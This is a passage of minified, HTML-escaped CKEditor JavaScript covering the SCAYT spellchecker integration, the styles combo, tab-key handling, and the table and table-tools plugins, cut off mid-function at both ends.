a.reloadMarkup?a.reloadMarkup():(this.alarmCompatibilityMessage(),c&amp;&amp;c.ltr&amp;&amp;c.rtl&amp;&amp;a.fire(&quot;startSpellCheck, startGrammarCheck&quot;)))},replaceOldOptionsNames:function(a){for(var c in a)c in this.backCompatibilityMap&amp;&amp;(a[this.backCompatibilityMap[c]]=a[c],delete a[c])},createScayt:function(a){var c=this,d=CKEDITOR.plugins.scayt;this.loadScaytLibrary(a,function(a){function e(a){return new SCAYT.CKSCAYT(a,function(){},function(){})}var f;a.window&amp;&amp;(f=&quot;BODY&quot;==a.editable().$.nodeName?a.window.getFrame():a.editable());
if(f){f={lang:a.config.scayt_sLang,container:f.$,customDictionary:a.config.scayt_customDictionaryIds,userDictionaryName:a.config.scayt_userDictionaryName,localization:a.langCode,customer_id:a.config.scayt_customerId,customPunctuation:a.config.scayt_customPunctuation,debug:a.config.scayt_debug,data_attribute_name:c.options.data_attribute_name,misspelled_word_class:c.options.misspelled_word_class,problem_grammar_data_attribute:c.options.problem_grammar_data_attribute,problem_grammar_class:c.options.problem_grammar_class,
&quot;options-to-restore&quot;:a.config.scayt_disableOptionsStorage,focused:a.editable().hasFocus,ignoreElementsRegex:a.config.scayt_elementsToIgnore,ignoreGraytElementsRegex:a.config.grayt_elementsToIgnore,minWordLength:a.config.scayt_minWordLength,multiLanguageMode:a.config.scayt_multiLanguageMode,multiLanguageStyles:a.config.scayt_multiLanguageStyles,graytAutoStartup:a.config.grayt_autoStartup,charsToObserve:d.charsToObserve};a.config.scayt_serviceProtocol&amp;&amp;(f.service_protocol=a.config.scayt_serviceProtocol);
a.config.scayt_serviceHost&amp;&amp;(f.service_host=a.config.scayt_serviceHost);a.config.scayt_servicePort&amp;&amp;(f.service_port=a.config.scayt_servicePort);a.config.scayt_servicePath&amp;&amp;(f.service_path=a.config.scayt_servicePath);&quot;boolean&quot;===typeof a.config.scayt_ignoreAllCapsWords&amp;&amp;(f[&quot;ignore-all-caps-words&quot;]=a.config.scayt_ignoreAllCapsWords);&quot;boolean&quot;===typeof a.config.scayt_ignoreDomainNames&amp;&amp;(f[&quot;ignore-domain-names&quot;]=a.config.scayt_ignoreDomainNames);&quot;boolean&quot;===typeof a.config.scayt_ignoreWordsWithMixedCases&amp;&amp;
(f[&quot;ignore-words-with-mixed-cases&quot;]=a.config.scayt_ignoreWordsWithMixedCases);&quot;boolean&quot;===typeof a.config.scayt_ignoreWordsWithNumbers&amp;&amp;(f[&quot;ignore-words-with-numbers&quot;]=a.config.scayt_ignoreWordsWithNumbers);var g;try{g=e(f)}catch(k){c.alarmCompatibilityMessage(),delete f.charsToObserve,g=e(f)}g.subscribe(&quot;suggestionListSend&quot;,function(a){for(var b={},d=[],c=0;c&lt;a.suggestionList.length;c++)b[&quot;word_&quot;+a.suggestionList[c]]||(b[&quot;word_&quot;+a.suggestionList[c]]=a.suggestionList[c],d.push(a.suggestionList[c]));
CKEDITOR.plugins.scayt.suggestions=d});g.subscribe(&quot;selectionIsChanged&quot;,function(d){a.getSelection().isLocked&amp;&amp;&quot;restoreSelection&quot;!==d.action&amp;&amp;a.lockSelection();&quot;restoreSelection&quot;===d.action&amp;&amp;a.selectionChange(!0)});g.subscribe(&quot;graytStateChanged&quot;,function(c){d.state.grayt[a.name]=c.state});g.addMarkupHandler&amp;&amp;g.addMarkupHandler(function(d){var c=a.editable(),e=c.getCustomData(d.charName);e&amp;&amp;(e.$=d.node,c.setCustomData(d.charName,e))});a.scayt=g;a.fire(&quot;scaytButtonState&quot;,a.readOnly?CKEDITOR.TRISTATE_DISABLED:
CKEDITOR.TRISTATE_ON)}else d.state.scayt[a.name]=!1})},destroy:function(a){a.scayt&amp;&amp;a.scayt.destroy();delete a.scayt;a.fire(&quot;scaytButtonState&quot;,CKEDITOR.TRISTATE_OFF)},loadScaytLibrary:function(a,c){var d,b=function(){CKEDITOR.fireOnce(&quot;scaytReady&quot;);a.scayt||&quot;function&quot;===typeof c&amp;&amp;c(a)};&quot;undefined&quot;===typeof window.SCAYT||&quot;function&quot;!==typeof window.SCAYT.CKSCAYT?(d=a.config.scayt_srcUrl+&quot;?&quot;+this.onLoadTimestamp,CKEDITOR.scriptLoader.load(d,function(a){a&amp;&amp;b()})):window.SCAYT&amp;&amp;&quot;function&quot;===typeof window.SCAYT.CKSCAYT&amp;&amp;
b()}};
CKEDITOR.on(&quot;dialogDefinition&quot;,function(a){var c=a.data.name;a=a.data.definition.dialog;&quot;scaytDialog&quot;!==c&amp;&amp;&quot;checkspell&quot;!==c&amp;&amp;(a.on(&quot;show&quot;,function(a){a=a.sender&amp;&amp;a.sender.getParentEditor();var b=CKEDITOR.plugins.scayt,c=a.scayt;c&amp;&amp;b.state.scayt[a.name]&amp;&amp;c.setMarkupPaused&amp;&amp;c.setMarkupPaused(!0)}),a.on(&quot;hide&quot;,function(a){a=a.sender&amp;&amp;a.sender.getParentEditor();var b=CKEDITOR.plugins.scayt,c=a.scayt;c&amp;&amp;b.state.scayt[a.name]&amp;&amp;c.setMarkupPaused&amp;&amp;c.setMarkupPaused(!1)}));if(&quot;scaytDialog&quot;===c)a.on(&quot;cancel&quot;,function(a){return!1},
this,null,-1);if(&quot;checkspell&quot;===c)a.on(&quot;cancel&quot;,function(a){a=a.sender&amp;&amp;a.sender.getParentEditor();var b=CKEDITOR.plugins.scayt,c=a.scayt;c&amp;&amp;b.state.scayt[a.name]&amp;&amp;c.setMarkupPaused&amp;&amp;c.setMarkupPaused(!1);a.unlockSelection()},this,null,-2);if(&quot;link&quot;===c)a.on(&quot;ok&quot;,function(a){var b=a.sender&amp;&amp;a.sender.getParentEditor();b&amp;&amp;setTimeout(function(){b.fire(&quot;reloadMarkupScayt&quot;,{removeOptions:{removeInside:!0,forceBookmark:!0},timeout:0})},0)});if(&quot;replace&quot;===c)a.on(&quot;hide&quot;,function(a){a=a.sender&amp;&amp;a.sender.getParentEditor();
var b=CKEDITOR.plugins.scayt,c=a.scayt;a&amp;&amp;setTimeout(function(){c&amp;&amp;(c.fire(&quot;removeMarkupInDocument&quot;,{}),b.reloadMarkup(c))},0)})});
CKEDITOR.on(&quot;scaytReady&quot;,function(){if(!0===CKEDITOR.config.scayt_handleCheckDirty){var a=CKEDITOR.editor.prototype;a.checkDirty=CKEDITOR.tools.override(a.checkDirty,function(a){return function(){var b=null,c=this.scayt;if(CKEDITOR.plugins.scayt&amp;&amp;CKEDITOR.plugins.scayt.state.scayt[this.name]&amp;&amp;this.scayt){if(b=&quot;ready&quot;==this.status)var f=c.removeMarkupFromString(this.getSnapshot()),c=c.removeMarkupFromString(this._.previousValue),b=b&amp;&amp;c!==f}else b=a.call(this);return b}});a.resetDirty=CKEDITOR.tools.override(a.resetDirty,
function(a){return function(){var b=this.scayt;CKEDITOR.plugins.scayt&amp;&amp;CKEDITOR.plugins.scayt.state.scayt[this.name]&amp;&amp;this.scayt?this._.previousValue=b.removeMarkupFromString(this.getSnapshot()):a.call(this)}})}if(!0===CKEDITOR.config.scayt_handleUndoRedo){var a=CKEDITOR.plugins.undo.Image.prototype,c=&quot;function&quot;==typeof a.equalsContent?&quot;equalsContent&quot;:&quot;equals&quot;;a[c]=CKEDITOR.tools.override(a[c],function(a){return function(b){var c=b.editor.scayt,f=this.contents,g=b.contents,k=null;CKEDITOR.plugins.scayt&amp;&amp;
CKEDITOR.plugins.scayt.state.scayt[b.editor.name]&amp;&amp;b.editor.scayt&amp;&amp;(this.contents=c.removeMarkupFromString(f)||&quot;&quot;,b.contents=c.removeMarkupFromString(g)||&quot;&quot;);k=a.apply(this,arguments);this.contents=f;b.contents=g;return k}})}});(function(){CKEDITOR.plugins.add(&quot;stylescombo&quot;,{requires:&quot;richcombo&quot;,init:function(c){var l=c.config,g=c.lang.stylescombo,f={},k=[],m=[];c.on(&quot;stylesSet&quot;,function(a){if(a=a.data.styles){for(var b,h,d,e=0,n=a.length;e&lt;n;e++)(b=a[e],c.blockless&amp;&amp;b.element in CKEDITOR.dtd.$block||&quot;string&quot;==typeof b.type&amp;&amp;!CKEDITOR.style.customHandlers[b.type]||(h=b.name,b=new CKEDITOR.style(b),c.filter.customConfig&amp;&amp;!c.filter.check(b)))||(b._name=h,b._.enterMode=l.enterMode,b._.type=d=b.assignedTo||b.type,b._.weight=
e+1E3*(d==CKEDITOR.STYLE_OBJECT?1:d==CKEDITOR.STYLE_BLOCK?2:3),f[h]=b,k.push(b),m.push(b));k.sort(function(a,b){return a._.weight-b._.weight})}});c.ui.addRichCombo(&quot;Styles&quot;,{label:g.label,title:g.panelTitle,toolbar:&quot;styles,10&quot;,allowedContent:m,panel:{css:[CKEDITOR.skin.getPath(&quot;editor&quot;)].concat(l.contentsCss),multiSelect:!0,attributes:{&quot;aria-label&quot;:g.panelTitle}},init:function(){var a,b,c,d,e,f;e=0;for(f=k.length;e&lt;f;e++)a=k[e],b=a._name,d=a._.type,d!=c&amp;&amp;(this.startGroup(g[&quot;panelTitle&quot;+String(d)]),
c=d),this.add(b,a.type==CKEDITOR.STYLE_OBJECT?b:a.buildPreview(),b);this.commit()},onClick:function(a){c.focus();c.fire(&quot;saveSnapshot&quot;);a=f[a];var b=c.elementPath();if(a.group&amp;&amp;a.removeStylesFromSameGroup(c))c.applyStyle(a);else c[a.checkActive(b,c)?&quot;removeStyle&quot;:&quot;applyStyle&quot;](a);c.fire(&quot;saveSnapshot&quot;)},onRender:function(){c.on(&quot;selectionChange&quot;,function(a){var b=this.getValue();a=a.data.path.elements;for(var h=0,d=a.length,e;h&lt;d;h++){e=a[h];for(var g in f)if(f[g].checkElementRemovable(e,!0,c)){g!=
b&amp;&amp;this.setValue(g);return}}this.setValue(&quot;&quot;)},this)},onOpen:function(){var a=c.getSelection(),a=a.getSelectedElement()||a.getStartElement()||c.editable(),a=c.elementPath(a),b=[0,0,0,0];this.showAll();this.unmarkAll();for(var h in f){var d=f[h],e=d._.type;d.checkApplicable(a,c,c.activeFilter)?b[e]++:this.hideItem(h);d.checkActive(a,c)&amp;&amp;this.mark(h)}b[CKEDITOR.STYLE_BLOCK]||this.hideGroup(g[&quot;panelTitle&quot;+String(CKEDITOR.STYLE_BLOCK)]);b[CKEDITOR.STYLE_INLINE]||this.hideGroup(g[&quot;panelTitle&quot;+String(CKEDITOR.STYLE_INLINE)]);
b[CKEDITOR.STYLE_OBJECT]||this.hideGroup(g[&quot;panelTitle&quot;+String(CKEDITOR.STYLE_OBJECT)])},refresh:function(){var a=c.elementPath();if(a){for(var b in f)if(f[b].checkApplicable(a,c,c.activeFilter))return;this.setState(CKEDITOR.TRISTATE_DISABLED)}},reset:function(){f={};k=[]}})}})})();(function(){function k(c){return{editorFocus:!1,canUndo:!1,modes:{wysiwyg:1},exec:function(d){if(d.editable().hasFocus){var e=d.getSelection(),b;if(b=(new CKEDITOR.dom.elementPath(e.getCommonAncestor(),e.root)).contains({td:1,th:1},1)){var e=d.createRange(),a=CKEDITOR.tools.tryThese(function(){var a=b.getParent().$.cells[b.$.cellIndex+(c?-1:1)];a.parentNode.parentNode;return a},function(){var a=b.getParent(),a=a.getAscendant(&quot;table&quot;).$.rows[a.$.rowIndex+(c?-1:1)];return a.cells[c?a.cells.length-1:
0]});if(a||c)if(a)a=new CKEDITOR.dom.element(a),e.moveToElementEditStart(a),e.checkStartOfBlock()&amp;&amp;e.checkEndOfBlock()||e.selectNodeContents(a);else return!0;else{for(var f=b.getAscendant(&quot;table&quot;).$,a=b.getParent().$.cells,f=new CKEDITOR.dom.element(f.insertRow(-1),d.document),g=0,h=a.length;g&lt;h;g++)f.append((new CKEDITOR.dom.element(a[g],d.document)).clone(!1,!1)).appendBogus();e.moveToElementEditStart(f)}e.select(!0);return!0}}return!1}}}var h={editorFocus:!1,modes:{wysiwyg:1,source:1}},g={exec:function(c){c.container.focusNext(!0,
c.tabIndex)}},f={exec:function(c){c.container.focusPrevious(!0,c.tabIndex)}};CKEDITOR.plugins.add(&quot;tab&quot;,{init:function(c){for(var d=!1!==c.config.enableTabKeyTools,e=c.config.tabSpaces||0,b=&quot;&quot;;e--;)b+=&quot; &quot;;if(b)c.on(&quot;key&quot;,function(a){9==a.data.keyCode&amp;&amp;(c.insertText(b),a.cancel())});if(d)c.on(&quot;key&quot;,function(a){(9==a.data.keyCode&amp;&amp;c.execCommand(&quot;selectNextCell&quot;)||a.data.keyCode==CKEDITOR.SHIFT+9&amp;&amp;c.execCommand(&quot;selectPreviousCell&quot;))&amp;&amp;a.cancel()});c.addCommand(&quot;blur&quot;,CKEDITOR.tools.extend(g,h));c.addCommand(&quot;blurBack&quot;,
CKEDITOR.tools.extend(f,h));c.addCommand(&quot;selectNextCell&quot;,k());c.addCommand(&quot;selectPreviousCell&quot;,k(!0))}})})();
CKEDITOR.dom.element.prototype.focusNext=function(k,h){var g=void 0===h?this.getTabIndex():h,f,c,d,e,b,a;if(0&gt;=g)for(b=this.getNextSourceNode(k,CKEDITOR.NODE_ELEMENT);b;){if(b.isVisible()&amp;&amp;0===b.getTabIndex()){d=b;break}b=b.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT)}else for(b=this.getDocument().getBody().getFirst();b=b.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT);){if(!f)if(!c&amp;&amp;b.equals(this)){if(c=!0,k){if(!(b=b.getNextSourceNode(!0,CKEDITOR.NODE_ELEMENT)))break;f=1}}else c&amp;&amp;!this.contains(b)&amp;&amp;
(f=1);if(b.isVisible()&amp;&amp;!(0&gt;(a=b.getTabIndex()))){if(f&amp;&amp;a==g){d=b;break}a&gt;g&amp;&amp;(!d||!e||a&lt;e)?(d=b,e=a):d||0!==a||(d=b,e=a)}}d&amp;&amp;d.focus()};
CKEDITOR.dom.element.prototype.focusPrevious=function(k,h){for(var g=void 0===h?this.getTabIndex():h,f,c,d,e=0,b,a=this.getDocument().getBody().getLast();a=a.getPreviousSourceNode(!1,CKEDITOR.NODE_ELEMENT);){if(!f)if(!c&amp;&amp;a.equals(this)){if(c=!0,k){if(!(a=a.getPreviousSourceNode(!0,CKEDITOR.NODE_ELEMENT)))break;f=1}}else c&amp;&amp;!this.contains(a)&amp;&amp;(f=1);if(a.isVisible()&amp;&amp;!(0&gt;(b=a.getTabIndex())))if(0&gt;=g){if(f&amp;&amp;0===b){d=a;break}b&gt;e&amp;&amp;(d=a,e=b)}else{if(f&amp;&amp;b==g){d=a;break}b&lt;g&amp;&amp;(!d||b&gt;e)&amp;&amp;(d=a,e=b)}}d&amp;&amp;d.focus()};CKEDITOR.plugins.add(&quot;table&quot;,{requires:&quot;dialog&quot;,init:function(a){function f(c){return CKEDITOR.tools.extend(c||{},{contextSensitive:1,refresh:function(c,b){this.setState(b.contains(&quot;table&quot;,1)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})}if(!a.blockless){var e=a.lang.table;a.addCommand(&quot;table&quot;,new CKEDITOR.dialogCommand(&quot;table&quot;,{context:&quot;table&quot;,allowedContent:&quot;table{width,height}[align,border,cellpadding,cellspacing,summary];caption tbody thead tfoot;th td tr[scope];&quot;+(a.plugins.dialogadvtab?
&quot;table&quot;+a.plugins.dialogadvtab.allowedContent():&quot;&quot;),requiredContent:&quot;table&quot;,contentTransformations:[[&quot;table{width}: sizeToStyle&quot;,&quot;table[width]: sizeToAttribute&quot;],[&quot;td: splitBorderShorthand&quot;],[{element:&quot;table&quot;,right:function(c){if(c.styles){var a;if(c.styles.border)a=CKEDITOR.tools.style.parse.border(c.styles.border);else if(CKEDITOR.env.ie&amp;&amp;8===CKEDITOR.env.version){var b=c.styles;b[&quot;border-left&quot;]&amp;&amp;b[&quot;border-left&quot;]===b[&quot;border-right&quot;]&amp;&amp;b[&quot;border-right&quot;]===b[&quot;border-top&quot;]&amp;&amp;b[&quot;border-top&quot;]===b[&quot;border-bottom&quot;]&amp;&amp;
(a=CKEDITOR.tools.style.parse.border(b[&quot;border-top&quot;]))}a&amp;&amp;a.style&amp;&amp;&quot;solid&quot;===a.style&amp;&amp;a.width&amp;&amp;0!==parseFloat(a.width)&amp;&amp;(c.attributes.border=1);&quot;collapse&quot;==c.styles[&quot;border-collapse&quot;]&amp;&amp;(c.attributes.cellspacing=0)}}}]]}));a.addCommand(&quot;tableProperties&quot;,new CKEDITOR.dialogCommand(&quot;tableProperties&quot;,f()));a.addCommand(&quot;tableDelete&quot;,f({exec:function(a){var d=a.elementPath().contains(&quot;table&quot;,1);if(d){var b=d.getParent(),e=a.editable();1!=b.getChildCount()||b.is(&quot;td&quot;,&quot;th&quot;)||b.equals(e)||(d=b);a=a.createRange();
a.moveToPosition(d,CKEDITOR.POSITION_BEFORE_START);d.remove();a.select()}}}));a.ui.addButton&amp;&amp;a.ui.addButton(&quot;Table&quot;,{label:e.toolbar,command:&quot;table&quot;,toolbar:&quot;insert,30&quot;});CKEDITOR.dialog.add(&quot;table&quot;,this.path+&quot;dialogs/table.js&quot;);CKEDITOR.dialog.add(&quot;tableProperties&quot;,this.path+&quot;dialogs/table.js&quot;);a.addMenuItems&amp;&amp;a.addMenuItems({table:{label:e.menu,command:&quot;tableProperties&quot;,group:&quot;table&quot;,order:5},tabledelete:{label:e.deleteTable,command:&quot;tableDelete&quot;,group:&quot;table&quot;,order:1}});a.on(&quot;doubleclick&quot;,function(a){a.data.element.is(&quot;table&quot;)&amp;&amp;
(a.data.dialog=&quot;tableProperties&quot;)});a.contextMenu&amp;&amp;a.contextMenu.addListener(function(){return{tabledelete:CKEDITOR.TRISTATE_OFF,table:CKEDITOR.TRISTATE_OFF}})}}});(function(){function q(d,f){function b(a){return f?f.contains(a)&amp;&amp;a.getAscendant(&quot;table&quot;,!0).equals(f):!0}function c(b){0&lt;e.length||b.type!=CKEDITOR.NODE_ELEMENT||!F.test(b.getName())||b.getCustomData(&quot;selected_cell&quot;)||(CKEDITOR.dom.element.setMarker(a,b,&quot;selected_cell&quot;,!0),e.push(b))}var e=[],a={};if(!d)return e;for(var g=d.getRanges(),k=0;k&lt;g.length;k++){var h=g[k];if(h.collapsed)(h=h.getCommonAncestor().getAscendant({td:1,th:1},!0))&amp;&amp;b(h)&amp;&amp;e.push(h);else{var h=new CKEDITOR.dom.walker(h),l;for(h.guard=
c;l=h.next();)l.type==CKEDITOR.NODE_ELEMENT&amp;&amp;l.is(CKEDITOR.dtd.table)||(l=l.getAscendant({td:1,th:1},!0))&amp;&amp;!l.getCustomData(&quot;selected_cell&quot;)&amp;&amp;b(l)&amp;&amp;(CKEDITOR.dom.element.setMarker(a,l,&quot;selected_cell&quot;,!0),e.push(l))}}CKEDITOR.dom.element.clearAllMarkers(a);return e}function r(d,f){for(var b=D(d)?d:q(d),c=b[0],e=c.getAscendant(&quot;table&quot;),c=c.getDocument(),a=b[0].getParent(),g=a.$.rowIndex,b=b[b.length-1],k=b.getParent().$.rowIndex+b.$.rowSpan-1,b=new CKEDITOR.dom.element(e.$.rows[k]),g=f?g:k,a=f?a:b,
b=CKEDITOR.tools.buildTableMap(e),e=b[g],g=f?b[g-1]:b[g+1],b=b[0].length,c=c.createElement(&quot;tr&quot;),k=0;e[k]&amp;&amp;k&lt;b;k++){var h;1&lt;e[k].rowSpan&amp;&amp;g&amp;&amp;e[k]==g[k]?(h=e[k],h.rowSpan+=1):(h=(new CKEDITOR.dom.element(e[k])).clone(),h.removeAttribute(&quot;rowSpan&quot;),h.appendBogus(),c.append(h),h=h.$);k+=h.colSpan-1}f?c.insertBefore(a):c.insertAfter(a);return c}function B(d){if(d instanceof CKEDITOR.dom.selection){var f=d.getRanges(),b=q(d),c=b[0].getAscendant(&quot;table&quot;),e=CKEDITOR.tools.buildTableMap(c),a=b[0].getParent().$.rowIndex,
b=b[b.length-1],g=b.getParent().$.rowIndex+b.$.rowSpan-1,b=[];d.reset();for(d=a;d&lt;=g;d++){for(var k=e[d],h=new CKEDITOR.dom.element(c.$.rows[d]),l=0;l&lt;k.length;l++){var m=new CKEDITOR.dom.element(k[l]),n=m.getParent().$.rowIndex;1==m.$.rowSpan?m.remove():(--m.$.rowSpan,n==d&amp;&amp;(n=e[d+1],n[l-1]?m.insertAfter(new CKEDITOR.dom.element(n[l-1])):(new CKEDITOR.dom.element(c.$.rows[d+1])).append(m,1)));l+=m.$.colSpan-1}b.push(h)}e=c.$.rows;f[0].moveToPosition(c,CKEDITOR.POSITION_BEFORE_START);a=new CKEDITOR.dom.element(e[g+
1]||(0&lt;a?e[a-1]:null)||c.$.parentNode);for(d=b.length;0&lt;=d;d--)B(b[d]);return c.$.parentNode?a:(f[0].select(),null)}d instanceof CKEDITOR.dom.element&amp;&amp;(c=d.getAscendant(&quot;table&quot;),1==c.$.rows.length?c.remove():d.remove());return null}function v(d){for(var f=d.getParent().$.cells,b=0,c=0;c&lt;f.length;c++){var e=f[c],b=b+e.colSpan;if(e==d.$)break}return b-1}function w(d,f){for(var b=f?Infinity:0,c=0;c&lt;d.length;c++){var e=v(d[c]);if(f?e&lt;b:e&gt;b)b=e}return b}function u(d,f){for(var b=D(d)?d:q(d),c=b[0].getAscendant(&quot;table&quot;),
e=w(b,1),b=w(b),a=f?e:b,g=CKEDITOR.tools.buildTableMap(c),c=[],e=[],b=[],k=g.length,h=0;h&lt;k;h++)c.push(g[h][a]),e.push(f?g[h][a-1]:g[h][a+1]);for(h=0;h&lt;k;h++)c[h]&amp;&amp;(1&lt;c[h].colSpan&amp;&amp;e[h]==c[h]?(g=c[h],g.colSpan+=1):(a=new CKEDITOR.dom.element(c[h]),g=a.clone(),g.removeAttribute(&quot;colSpan&quot;),g.appendBogus(),g[f?&quot;insertBefore&quot;:&quot;insertAfter&quot;].call(g,a),b.push(g),g=g.$),h+=g.rowSpan-1);return b}function y(d){function f(a){var b,c,d;b=a.getRanges();if(1!==b.length)return a;b=b[0];if(b.collapsed||0!==b.endOffset)return a;
c=b.endContainer;d=c.getName().toLowerCase();if(&quot;td&quot;!==d&amp;&amp;&quot;th&quot;!==d)return a;for((d=c.getPrevious())||(d=c.getParent().getPrevious().getLast());d.type!==CKEDITOR.NODE_TEXT&amp;&amp;&quot;br&quot;!==d.getName().toLowerCase();)if(d=d.getLast(),!d)return a;b.setEndAt(d,CKEDITOR.POSITION_BEFORE_END);return b.select()}CKEDITOR.env.webkit&amp;&amp;!d.isFake&amp;&amp;(d=f(d));var b=d.getRanges(),c=q(d),e=c[0],a=c[c.length-1],c=e.getAscendant(&quot;table&quot;),g=CKEDITOR.tools.buildTableMap(c),k,h,l=[];d.reset();var m=0;for(d=g.length;m&lt;d;m++)for(var n=
0,p=g[m].length;n&lt;p;n++)void 0===k&amp;&amp;g[m][n]==e.$&amp;&amp;(k=n),g[m][n]==a.$&amp;&amp;(h=n);for(m=k;m&lt;=h;m++)for(n=0;n&lt;g.length;n++)a=g[n],e=new CKEDITOR.dom.element(c.$.rows[n]),a=new CKEDITOR.dom.element(a[m]),a.$&amp;&amp;(1==a.$.colSpan?a.remove():--a.$.colSpan,n+=a.$.rowSpan-1,e.$.cells.length||l.push(e));k=g[0].length-1&gt;h?new CKEDITOR.dom.element(g[0][h+1]):k&amp;&amp;-1!==g[0][k-1].cellIndex?new CKEDITOR.dom.element(g[0][k-1]):new CKEDITOR.dom.element(c.$.parentNode);l.length==d&amp;&amp;(b[0].moveToPosition(c,CKEDITOR.POSITION_AFTER_END),
b[0].select(),c.remove());return k}function t(d,f){var b=d.getStartElement().getAscendant({td:1,th:1},!0);if(b){var c=b.clone();c.appendBogus();f?c.insertBefore(b):c.insertAfter(b)}}function z(d){if(d instanceof CKEDITOR.dom.selection){var f=d.getRanges(),b=q(d),c=b[0]&amp;&amp;b[0].getAscendant(&quot;table&quot;),e;a:{var a=0;e=b.length-1;for(var g={},k,h;k=b[a++];)CKEDITOR.dom.element.setMarker(g,k,&quot;delete_cell&quot;,!0);for(a=0;k=b[a++];)if((h=k.getPrevious())&amp;&amp;!h.getCustomData(&quot;delete_cell&quot;)||(h=k.getNext())&amp;&amp;!h.getCustomData(&quot;delete_cell&quot;)){CKEDITOR.dom.element.clearAllMarkers(g);
e=h;break a}CKEDITOR.dom.element.clearAllMarkers(g);a=b[0].getParent();(a=a.getPrevious())?e=a.getLast():(a=b[e].getParent(),e=(a=a.getNext())?a.getChild(0):null)}d.reset();for(d=b.length-1;0&lt;=d;d--)z(b[d]);e?p(e,!0):c&amp;&amp;(f[0].moveToPosition(c,CKEDITOR.POSITION_BEFORE_START),f[0].select(),c.remove())}else d instanceof CKEDITOR.dom.element&amp;&amp;(f=d.getParent(),1==f.getChildCount()?f.remove():d.remove())}function p(d,f){var b=d.getDocument(),c=CKEDITOR.document;CKEDITOR.env.ie&amp;&amp;10==CKEDITOR.env.version&amp;&amp;
(c.focus(),b.focus());b=new CKEDITOR.dom.range(b);b[&quot;moveToElementEdit&quot;+(f?&quot;End&quot;:&quot;Start&quot;)](d)||(b.selectNodeContents(d),b.collapse(f?!1:!0));b.select(!0)}function A(d,f,b){d=d[f];if(&quot;undefined&quot;==typeof b)return d;for(f=0;d&amp;&amp;f&lt;d.length;f++){if(b.is&amp;&amp;d[f]==b.$)return f;if(f==b)return new CKEDITOR.dom.element(d[f])}return b.is?-1:null}function x(d,f,b){var c=q(d),e;if((f?1!=c.length:2&gt;c.length)||(e=d.getCommonAncestor())&amp;&amp;e.type==CKEDITOR.NODE_ELEMENT&amp;&amp;e.is(&quot;table&quot;))return!1;var a;d=c[0];e=d.getAscendant(&quot;table&quot;);
var g=CKEDITOR.tools.buildTableMap(e),k=g.length,h=g[0].length,l=d.getParent().$.rowIndex,m=A(g,l,d);if(f){var n;try{var p=parseInt(d.getAttribute(&quot;rowspan&quot;),10)||1;a=parseInt(d.getAttribute(&quot;colspan&quot;),10)||1;n=g[&quot;up&quot;==f?l-p:&quot;down&quot;==f?l+p:l][&quot;left&quot;==f?m-a:&quot;right&quot;==f?m+a:m]}catch(x){return!1}if(!n||d.$==n)return!1;c[&quot;up&quot;==f||&quot;left&quot;==f?&quot;unshift&quot;:&quot;push&quot;](new CKEDITOR.dom.element(n))}f=d.getDocument();var r=l,p=n=0,u=!b&amp;&amp;new CKEDITOR.dom.documentFragment(f),w=0;for(f=0;f&lt;c.length;f++){a=c[f];var t=a.getParent(),
y=a.getFirst(),v=a.$.colSpan,z=a.$.rowSpan,t=t.$.rowIndex,B=A(g,t,a),w=w+v*z,p=Math.max(p,B-m+v);n=Math.max(n,t-l+z);b||(v=a,(z=v.getBogus())&amp;&amp;z.remove(),v.trim(),a.getChildren().count()&amp;&amp;(t==r||!y||y.isBlockBoundary&amp;&amp;y.isBlockBoundary({br:1})||(r=u.getLast(CKEDITOR.dom.walker.whitespaces(!0)),!r||r.is&amp;&amp;r.is(&quot;br&quot;)||u.append(&quot;br&quot;)),a.moveChildren(u)),f?a.remove():a.setHtml(&quot;&quot;));r=t}if(b)return n*p==w;u.moveChildren(d);d.appendBogus();p&gt;=h?d.removeAttribute(&quot;rowSpan&quot;):d.$.rowSpan=n;n&gt;=k?d.removeAttribute(&quot;colSpan&quot;):
d.$.colSpan=p;b=new CKEDITOR.dom.nodeList(e.$.rows);c=b.count();for(f=c-1;0&lt;=f;f--)e=b.getItem(f),e.$.cells.length||(e.remove(),c++);return d}function C(d,f){var b=q(d);if(1&lt;b.length)return!1;if(f)return!0;var b=b[0],c=b.getParent(),e=c.getAscendant(&quot;table&quot;),a=CKEDITOR.tools.buildTableMap(e),g=c.$.rowIndex,k=A(a,g,b),h=b.$.rowSpan,l;if(1&lt;h){l=Math.ceil(h/2);for(var h=Math.floor(h/2),c=g+l,e=new CKEDITOR.dom.element(e.$.rows[c]),a=A(a,c),m,c=b.clone(),g=0;g&lt;a.length;g++)if(m=a[g],m.parentNode==e.$&amp;&amp;
g&gt;k){c.insertBefore(new CKEDITOR.dom.element(m));break}else m=null;m||e.append(c)}else for(h=l=1,e=c.clone(),e.insertAfter(c),e.append(c=b.clone()),m=A(a,g),k=0;k&lt;m.length;k++)m[k].rowSpan++;c.appendBogus();b.$.rowSpan=l;c.$.rowSpan=h;1==l&amp;&amp;b.removeAttribute(&quot;rowSpan&quot;);1==h&amp;&amp;c.removeAttribute(&quot;rowSpan&quot;);return c}function E(d,f){var b=q(d);if(1&lt;b.length)return!1;if(f)return!0;var b=b[0],c=b.getParent(),e=c.getAscendant(&quot;table&quot;),e=CKEDITOR.tools.buildTableMap(e),a=A(e,c.$.rowIndex,b),g=b.$.colSpan;
if(1&lt;g)c=Math.ceil(g/2),g=Math.floor(g/2);else{for(var g=c=1,k=[],h=0;h&lt;e.length;h++){var l=e[h];k.push(l[a]);1&lt;l[a].rowSpan&amp;&amp;(h+=l[a].rowSpan-1)}for(e=0;e&lt;k.length;e++)k[e].colSpan++}e=b.clone();e.insertAfter(b);e.appendBogus();b.$.colSpan=c;e.$.colSpan=g;1==c&amp;&amp;b.removeAttribute(&quot;colSpan&quot;);1==g&amp;&amp;e.removeAttribute(&quot;colSpan&quot;);return e}var F=/^(?:td|th)$/,D=CKEDITOR.tools.isArray;CKEDITOR.plugins.tabletools={requires:&quot;table,dialog,contextmenu&quot;,init:function(d){function f(a){return CKEDITOR.tools.extend(a||
